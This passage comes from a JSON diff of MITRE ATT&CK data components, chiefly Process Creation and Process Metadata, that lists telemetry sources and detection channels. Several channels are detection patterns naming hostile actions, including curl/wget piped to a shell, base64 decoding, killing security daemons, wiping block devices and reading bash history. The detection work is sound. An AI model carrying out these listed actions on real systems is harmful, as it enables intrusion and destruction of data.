\"auditd:SYSCALL\", \"channel\": \"execve: Execution of pip, npm, gem, or similar package managers\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Command line invocation of pip3, brew install, npm install from interactive Terminal\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"fork/exec of service via PID 1 (systemd)\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of ssh/scp/sftp without corresponding authentication log\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of ssh or sftp without corresponding login event\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: execve where exe=/usr/bin/python3 or similar interpreter\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launch of remote desktop app or helper binary\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected processes making network calls based on DNS-derived ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchctl spawning new processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchctl activity and process creation\"}, {\"name\": \"containerd:events\", \"channel\": \"New container with suspicious image name or high resource usage\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of Python, Swift, or other binaries invoking archiving libraries\"}, {\"name\": \"linux:osquery\", \"channel\": \"Processes linked with libssl or crypto libraries making outbound connections\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process invoking SSL routines from Security framework\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of binaries located in /etc/init.d/ or systemd service paths\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of binary listed in newly modified LaunchAgent plist\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of bless or nvram modifying boot parameters\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected processes registered with launchd\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process launch\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of curl, osascript, or unexpected Office processes\"}, {\"name\": \"macos:osquery\", \"channel\": \"exec\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Trust validation failures or bypass attempts during notarization and code signing checks\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"spawned shell or execution environment activity\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python*,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder}\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: exe in {/bin/bash,/bin/sh,/usr/bin/python*,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of dd/sgdisk with arguments writing to sector 0 or partition table\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process execution events for chmod, chown, chflags with unusual parameters or targets\"}, {\"name\": \"m365:defender\", \"channel\": \"AdvancedHunting(DeviceEvents, ProcessCreate, ImageLoad, AMSI/ETW derived signals)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execve or dylib load from memory without backing file\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Commands that alter firewall or start listeners: iptables|nft|ufw|firewall-cmd|pfctl|systemctl start sshd/telnet/dropbear; raw-socket/libpcap tools (tcpdump, tshark, nmap --raw).\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: Execution of pfctl, socketfilterfw, launchctl start ssh/telnet, libpcap consumers.\"}, {\"name\": \"esxi:shell\", \"channel\": \"Shell Execution\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unusual child process tree indicating attempted recovery after crash\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of binaries/scripts presenting false health messages for security daemons\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of processes mimicking Apple Security & Privacy GUIs\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Security-Auditing\", \"channel\": \"EventCode=4688\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve, setifflags\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events where path like '%tcpdump%'\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Execution of dd, shred, or wipe with arguments targeting block devices\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"systemctl stop auditd, kill -9 , or modifications to /etc/selinux/config\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of curl, git, or Office processes with network connections\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream - process subsystem\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve calls for qemu-system*, kvm, or VBoxHeadless\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process execution for VBoxHeadless, prl_vm_app, vmware-vmx\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process logs\"}, {\"name\": \"esxi:shell\", \"channel\": \"None\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of interpreters (python, perl), custom binaries, or shell utilities with long arguments containing non-standard tokens\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"ES_EVENT_TYPE_NOTIFY_EXEC: arguments contain long, non-standard tokens / custom alphabets\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"command line or log output shows non-standard encoding routines\"}, {\"name\": \"esxi:shell\", \"channel\": \"commands containing long non-standard tokens or custom lookup tables\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of /usr/sbin/installer spawning child process from within /private/tmp or package contents\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of dpkg or rpm followed by fork/execve from within postinst, prerm, etc.\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execve: Helper tools invoked through XPC executing unexpected binaries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of modified binary without valid signature\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: exe in (/usr/bin/bash,/usr/bin/sh,/usr/bin/zsh,/usr/bin/python*) AND cmdline matches '(curl|wget).*(\\\\||\\\\|\\\\s*sh|bash)|base64\\\\s*-d|python\\\\s*-c'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: ParentImage in (Terminal, iTerm2) AND Image in (/bin/zsh,/bin/bash,/usr/bin/python*) AND CommandLine matches '(curl|wget).*(\\\\||\\\\|\\\\s*sh|bash)|base64 -D|python -c'\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process created with repeated ICMP or UDP flood behavior\"}, {\"name\": \"fs:fsusage\", \"channel\": \"binary execution of security_authtrampoline\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process: exec\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"Exec\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Child processes of Safari, Chrome, or Firefox executing scripting interpreters\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of older or non-standard interpreters\"}, {\"name\": \"linux:osquery\", \"channel\": \"process execution events for permission modification utilities with command-line analysis\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process execution events for chmod, chown, chflags with parameter analysis and target path examination\"}, {\"name\": \"macos:osquery\", \"channel\": \"process execution monitoring for permission modification utilities with command-line argument analysis\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Invocation of packet generation tools (e.g., hping3, nping) or fork bombs\"}, {\"name\": \"macos:osquery\", \"channel\": \"Execution of flooding tools or compiled packet generators\"}, {\"name\": \"esxi:hostd\", \"channel\": \"process\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve for proxy tools\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process, socket, and DNS logs\"}, {\"name\": \"macos:osquery\", \"channel\": \"process_events table\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Command line containing `trap` or `echo 'trap` written to login shell files\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log collect --predicate\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve or nanosleep with no stdout/stderr I/O\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchd or osascript spawns process with delay command\"}, {\"name\": \"linux:syslog\", \"channel\": \"systemd-udevd spawning user-defined action from RUN+=\"}, {\"name\": \"ebpf:syscalls\", \"channel\": \"execve\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process:spawn\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --predicate 'eventMessage contains \\\"exec\\\"'\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"cat|less|grep accessing .bash_history from a non-shell process\"}, {\"name\": \"auditd:EXECVE\", \"channel\": \"Process execution via .desktop Exec path from /etc/xdg/autostart or ~/.config/autostart\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of dpkg, rpm, or other package manager with list flag\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of system_profiler or osascript invoking enumeration\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"apache2 or nginx spawning sh, bash, or python interpreter\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"httpd spawning bash, zsh, python, or osascript\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of /usr/libexec/security_authtrampoline or child processes originating from non-trusted binaries triggering credential prompts\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of security or osascript\"}, {\"name\": \"WinEventLog:security\", \"channel\": \"EventCode=4688\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchd spawning processes tied to new or modified LaunchDaemon .plist entries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of ping, nping, or crafted network packets via bash or python to reflection services\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of commands modifying iptables/nftables to block selective IPs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"System process modifications altering DNS/proxy settings\"}, {\"name\": \"containerd:Events\", \"channel\": \"unusual process spawned from container image context\"}, {\"name\": \"macos:osquery\", \"channel\": \"curl, python scripts, rsync with internal share URLs\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process: spawn, exec\"}, {\"name\": \"macos:osquery\", \"channel\": \"Rapid spawning of resource-heavy applications (e.g., Preview, Safari, Office)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process creation events where command line = pmset with arguments affecting sleep, hibernatemode, displaysleep\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected apps performing repeated DNS lookups\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchservices or loginwindow events\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve with LD_PRELOAD or linker-related environment variables set\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of process with DYLD_INSERT_LIBRARIES set\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Suspicious Swift/Objective-C or scripting processes writing archive-like outputs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve of re-parented process\"}, {\"name\": \"linux:osquery\", \"channel\": \"Anomalous parent PID change\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process creation with parent PID of 1 (launchd)\"}, {\"name\": \"linux:osquery\", \"channel\": \"child process invoking dynamic linker post-ptrace\"}, {\"name\": \"macos:osquery\", \"channel\": \"Processes executing kextload, spctl, or modifying kernel extension directories\"}, {\"name\": \"macos:osquery\", \"channel\": \"Unsigned or ad-hoc signed process executions in user contexts\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of diskutil or hdiutil attaching hidden partitions\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process execution events for discovery utilities (system_profiler, sw_vers, dscl, networksetup) with command-line parameter analysis\"}, {\"name\": \"macos:osquery\", \"channel\": \"process event monitoring with focus on discovery utilities and cryptographic framework usage correlation\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unexpected apps generating frequent DNS queries\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process exec\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"socket: Suspicious creation of AF_UNIX sockets outside expected daemons\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Non-standard processes invoking financial applications or payment APIs\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Agent/headless flags (listen/connect/reverse/tunnel) or remote-control binaries spawning shells\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"systemctl enable/start: Creation/enablement of custom .service units in /etc/systemd/system\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process exec of remote-control apps or binaries with headless/connect flags\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: systemctl stop, service stop, or kill -9 on security daemons (e.g., falcon-sensor, auditd)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of launchctl unload, kill, or removal of security agent daemons\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process activity, exec events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream process subsystem\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process:exec and kext load events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log stream --info --predicate 'eventMessage CONTAINS \\\"exec\\\"'\"}, {\"name\": \"WinEventLog:Microsoft-Windows-DotNETRuntime\", \"channel\": \"Unexpected AppDomain creation events or anomalous AppDomainManager assembly load behavior\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Execution of network stress tools or anomalies in socket/syscall behavior\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Unsigned binary execution following SIP change\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Commands altering firewall or enabling listeners (iptables, nft, ufw, firewall-cmd, systemctl start *ssh*/*telnet*, ip route add, tcpdump, tshark)\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: Execution of /sbin/pfctl, /usr/libexec/ApplicationFirewall/socketfilterfw, ifconfig, tcpdump, npcap/libpcap consumers\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of zip, ditto, hdiutil, or openssl by non-terminal parent processes\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of binaries with TCC protected access under unexpected parent processes such as Finder.app, SystemUIServer, or nsurlsessiond\"}, {\"name\": \"WinEventLog:AppLocker\", \"channel\": \"EventCode=8003,8004\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve, unlink\"}, {\"name\": \"macos:osquery\", \"channel\": \"launchd, processes\"}, {\"name\": \"linux:osquery\", \"channel\": \"socat, ssh, or nc processes opening unexpected ports\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process execution of ssh with -L/-R forwarding flags\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launchd or cron spawning mining binaries\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve or socket/connect system calls for processes using RSA handshake\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process invoking SecKeyCreateRandomKey or asymmetric crypto APIs\"}, {\"name\": \"azure:vmguest\", \"channel\": \"Unexpected execution of cloud agent processes (e.g., WindowsAzureGuestAgent.exe, ssm-agent) followed by arbitrary script or binary execution\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Script interpreter invoked by nginx/apache worker process\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of Office binaries with network activity\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"launch of bash/zsh/python/osascript targeting key file locations\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of /sbin/emond with child processes launched\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"provider: ETW CreateProcess events linking msbuild.exe to suspicious children where standard logs are incomplete\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"shutdown -h now or reboot\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Execution of Code.app, idea, JetBrainsToolbox, eclipse with install/extension flags\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process execution events for system discovery utilities (system_profiler, sysctl, networksetup, ioreg) with parameter analysis\"}, {\"name\": \"OpenBSM:AuditTrail\", \"channel\": \"BSM audit events for process execution and system call monitoring during reconnaissance\"}, {\"name\": \"esxi:hostd\", \"channel\": \"host daemon events related to VM operations and configuration queries during reconnaissance\"}, {\"name\": \"esxi:vmkernel\", \"channel\": \"VMware kernel events for hardware and system configuration access during environmental validation\"}, {\"name\": \"linux:osquery\", \"channel\": \"processes modifying environment variables related to history logging\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: parent process is usb/hid device handler, child process bash/python invoked\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"execution of curl, rclone, or Office apps invoking network sessions\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec: Execution of kextstat, kextfind, or ioreg targeting driver information\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": \"exec events\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process creation involving binaries interacting with resource fork data\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process event\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve: Execution of suspicious exploit binaries targeting security daemons\"}, {\"name\": \"macos:osquery\", \"channel\": \"execve: Unsigned or unnotarized processes launched with high privileges\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"security OR injection attempts into 1Password OR LastPass\"}]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 19:28:39.339000+00:00\", \"old_value\": \"2025-04-18 15:10:27.797000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.2\"}, \"root['x_mitre_data_source_ref']\": {\"new_value\": \"\", \"old_value\": \"x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--931b3fc6-ad68-42a8-9018-e98515eedc95", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-05-11 16:22:58.802000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0107", + "external_id": "DC0107" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Process History/Live Data", + "description": "This includes any data stores that maintain historical or real-time events and telemetry recorded from various sensors or devices", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Operational Databases", + "channel": "None" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0107\", \"external_id\": \"DC0107\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Operational Databases\", \"channel\": \"None\"}]}, \"dictionary_item_removed\": {\"root['x_mitre_data_source_ref']\": \"x-mitre-data-source--1b8c9f31-ad35-4850-bf8c-80c565ad3552\"}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-21 15:10:28.402000+00:00\", \"old_value\": \"2025-04-25 14:39:54.996000+00:00\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.0\", \"old_value\": \"1.0\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 2.0" + }, + { + "type": "x-mitre-data-component", + "id": "x-mitre-data-component--ee575f4a-2d4f-48f6-b18b-89067760adc1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2021-10-20 15:05:19.272000+00:00", + "modified": "2025-10-21 15:14:35.331000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/datacomponents/DC0034", + "external_id": "DC0034" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Process Metadata", + "description": "Contextual data about a running process, which may include information such as environment variables, image name, user/owner, etc.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_log_sources": [ + { + "name": "Process", + "channel": "None" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.process" + }, + { + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "CodeIntegrity/WDAC events indicating unsigned/invalid DLL loads" + }, + { + "name": "linux:syslog", + "channel": "sudo or service accounts invoking loaders with suspicious env vars" + }, + { + "name": "macos:osquery", + "channel": "Process Context" + }, + { + "name": "esxi:auth", + "channel": "user session" + }, + { + "name": "networkdevice:syslog", + "channel": "Admin activity" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve call for sudo where euid != uid" + }, + { + "name": "macos:unifiedlog", + "channel": "subsystem=com.apple.TCC" + }, + { + "name": "macos:unifiedlog", + "channel": "exec of binary with setuid/setgid and EUID != UID" + }, + { + "name": "macos:unifiedlog", + "channel": "process" + }, + { + "name": "auditd:SYSCALL", + "channel": "Use of fork/exec with DISPLAY unset or redirected" + }, + { + "name": "EDR:Telemetry", + "channel": "Process lineage and API usage enrichment (GetSystemTime, GetTimeZoneInformation, NtQuerySystemTime)" + }, + { + "name": "esxi:hostd", + "channel": "/var/log/hostd.log API calls reading/altering time/ntp settings" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve, prctl, or ptrace activity affecting process memory or command-line arguments" + }, + { + "name": "linux:osquery", + "channel": "Cross-reference argv[0] with actual executable path and parent process metadata" + }, + { + "name": "WinEventLog:AppLocker", + "channel": "AppLocker audit/blocks showing developer utilities executing scripts/binaries outside policy" + }, + { + "name": "EDR:hunting", + "channel": "Correlation of signer info, parent-child lineage, rare invocation context (user host role), and API surfaces (CreateProcess*, LoadLibrary*)" + }, + { + "name": "WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode", + "channel": "ETW telemetry indicating ClickOnce deployment (dfsvc.exe) launching payloads" + }, + { + "name": "etw:Microsoft-Windows-ClickOnce", + "channel": "provider: Event Tracing for Windows (ETW) events associated with ClickOnce deployment (dfsvc.exe activity)" + }, + { + "name": "WinEventLog:Microsoft-Windows-Windows Camera Frame Server/Operational", + "channel": "Process session start/stop events for camera pipeline by unexpected executables" + }, + { + "name": "linux:osquery", + "channel": "select: path LIKE '/dev/video%'" + }, + { + "name": "linux:osquery", + "channel": "state=attached/debugged" + }, + { + "name": "macos:unifiedlog", + "channel": "Code Execution & Entitlement Access" + }, + { + "name": "macos:unifiedlog", + "channel": "Process opening SSH_AUTH_SOCK or /tmp/ssh-* socket not owned by same UID" + }, + { + "name": "macos:unifiedlog", + "channel": "code signature/memory protection" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve with UID \u2260 EUID" + }, + { + "name": "auditd:SYSCALL", + "channel": "execve with escalated privileges" + }, + { + "name": "AWS:CloudTrail", + "channel": "cross-account or unexpected assume role" + }, + { + "name": "macos:unifiedlog", + "channel": "log collect from launchd and process start" + }, + { + "name": "containerd:events", + "channel": "Docker or containerd image pulls and process executions" + }, + { + "name": "linux:syslog", + "channel": "Kernel or daemon warnings of downgraded TLS or cryptographic settings" + }, + { + "name": "macos:unifiedlog", + "channel": "Modifications or writes to EFI system partition for downgraded bootloaders" + }, + { + "name": "macos:unifiedlog", + "channel": "non-shell process tree accessing bash history" + }, + { + "name": "linux:osquery", + "channel": "process metadata mismatch between /proc and runtime attributes" + }, + { + "name": "linux:osquery", + "channel": "process environment variables containing LD_PRELOAD" + }, + { + "name": "WinEventLog:PowerShell", + "channel": "EventCode=400,403" + }, + { + "name": "macos:osquery", + "channel": "Process Execution + Hash" + }, + { + "name": "etw:Microsoft-Windows-Kernel-Process", + "channel": "process_start: EventHeader.ProcessId true parent vs reported PPID mismatch" + }, + { + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC, ES_EVENT_TYPE_NOTIFY_MMAP" + }, + { + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "Unsigned/invalid signature modules or images loaded by msbuild.exe or its children" + }, + { + "name": "WinEventLog:Microsoft-Windows-DeviceGuard/Operational", + "channel": "WDAC policy audit/block affecting msbuild.exe spawned payloads" + }, + { + "name": "WinEventLog:Microsoft-Windows-SmartAppControl/Operational", + "channel": "Smart App Control decisions (audit/block) for msbuild.exe-launched executables" + }, + { + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "Unsigned or untrusted modules loaded during JamPlus.exe runtime" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_version": "2.0", + "x_mitre_deprecated": false, + "x_mitre_domains": [ + "ics-attack", + "mobile-attack", + "enterprise-attack" + ], + "detailed_diff": "{\"dictionary_item_added\": {\"root['external_references']\": [{\"source_name\": \"mitre-attack\", \"url\": \"https://attack.mitre.org/datacomponents/DC0034\", \"external_id\": \"DC0034\"}], \"root['x_mitre_log_sources']\": [{\"name\": \"Process\", \"channel\": \"None\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.process\"}, {\"name\": \"WinEventLog:Microsoft-Windows-CodeIntegrity/Operational\", \"channel\": \"CodeIntegrity/WDAC events indicating unsigned/invalid DLL loads\"}, {\"name\": \"linux:syslog\", \"channel\": \"sudo or service accounts invoking loaders with suspicious env vars\"}, {\"name\": \"macos:osquery\", \"channel\": \"Process Context\"}, {\"name\": \"esxi:auth\", \"channel\": \"user session\"}, {\"name\": \"networkdevice:syslog\", \"channel\": \"Admin activity\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve call for sudo where euid != uid\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"subsystem=com.apple.TCC\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"exec of binary with setuid/setgid and EUID != UID\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"process\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"Use of fork/exec with DISPLAY unset or redirected\"}, {\"name\": \"EDR:Telemetry\", \"channel\": \"Process lineage and API usage enrichment (GetSystemTime, GetTimeZoneInformation, NtQuerySystemTime)\"}, {\"name\": \"esxi:hostd\", \"channel\": \"/var/log/hostd.log API calls reading/altering time/ntp settings\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve, prctl, or ptrace activity affecting process memory or command-line arguments\"}, {\"name\": \"linux:osquery\", \"channel\": \"Cross-reference argv[0] with actual executable path and parent process metadata\"}, {\"name\": \"WinEventLog:AppLocker\", \"channel\": \"AppLocker audit/blocks showing developer utilities executing scripts/binaries outside policy\"}, {\"name\": \"EDR:hunting\", \"channel\": \"Correlation of signer info, parent-child lineage, rare invocation context (user host role), and API surfaces (CreateProcess*, LoadLibrary*)\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Security-Mitigations/KernelMode\", \"channel\": \"ETW telemetry indicating ClickOnce deployment (dfsvc.exe) launching payloads\"}, {\"name\": \"etw:Microsoft-Windows-ClickOnce\", \"channel\": \"provider: Event Tracing for Windows (ETW) events associated with ClickOnce deployment (dfsvc.exe activity)\"}, {\"name\": \"WinEventLog:Microsoft-Windows-Windows Camera Frame Server/Operational\", \"channel\": \"Process session start/stop events for camera pipeline by unexpected executables\"}, {\"name\": \"linux:osquery\", \"channel\": \"select: path LIKE '/dev/video%'\"}, {\"name\": \"linux:osquery\", \"channel\": \"state=attached/debugged\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Code Execution & Entitlement Access\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Process opening SSH_AUTH_SOCK or /tmp/ssh-* socket not owned by same UID\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"code signature/memory protection\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve with UID \\u2260 EUID\"}, {\"name\": \"auditd:SYSCALL\", \"channel\": \"execve with escalated privileges\"}, {\"name\": \"AWS:CloudTrail\", \"channel\": \"cross-account or unexpected assume role\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"log collect from launchd and process start\"}, {\"name\": \"containerd:events\", \"channel\": \"Docker or containerd image pulls and process executions\"}, {\"name\": \"linux:syslog\", \"channel\": \"Kernel or daemon warnings of downgraded TLS or cryptographic settings\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"Modifications or writes to EFI system partition for downgraded bootloaders\"}, {\"name\": \"macos:unifiedlog\", \"channel\": \"non-shell process tree accessing bash history\"}, {\"name\": \"linux:osquery\", \"channel\": \"process metadata mismatch between /proc and runtime attributes\"}, {\"name\": \"linux:osquery\", \"channel\": \"process environment variables containing LD_PRELOAD\"}, {\"name\": \"WinEventLog:PowerShell\", \"channel\": \"EventCode=400,403\"}, {\"name\": \"macos:osquery\", \"channel\": \"Process Execution + Hash\"}, {\"name\": \"etw:Microsoft-Windows-Kernel-Process\", \"channel\": \"process_start: EventHeader.ProcessId true parent vs reported PPID mismatch\"}, {\"name\": \"macos:endpointsecurity\", \"channel\": 